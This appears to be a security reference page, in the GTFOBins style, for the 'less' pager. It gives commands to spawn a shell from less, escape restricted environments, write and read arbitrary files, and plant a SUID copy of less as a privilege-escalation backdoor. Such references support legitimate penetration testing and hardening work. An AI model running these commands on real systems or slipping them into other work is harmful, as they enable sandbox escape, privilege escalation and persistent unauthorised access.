.. / less
Star

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
less /etc/profile
!/bin/sh
```

VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile
v

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

```
echo DATA | less
sfile_to_write
q
```

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

```
less file_to_read
```

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges.

sudo sh -c 'cp $(which less) .; chmod +s ./less'

./less file_to_read

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.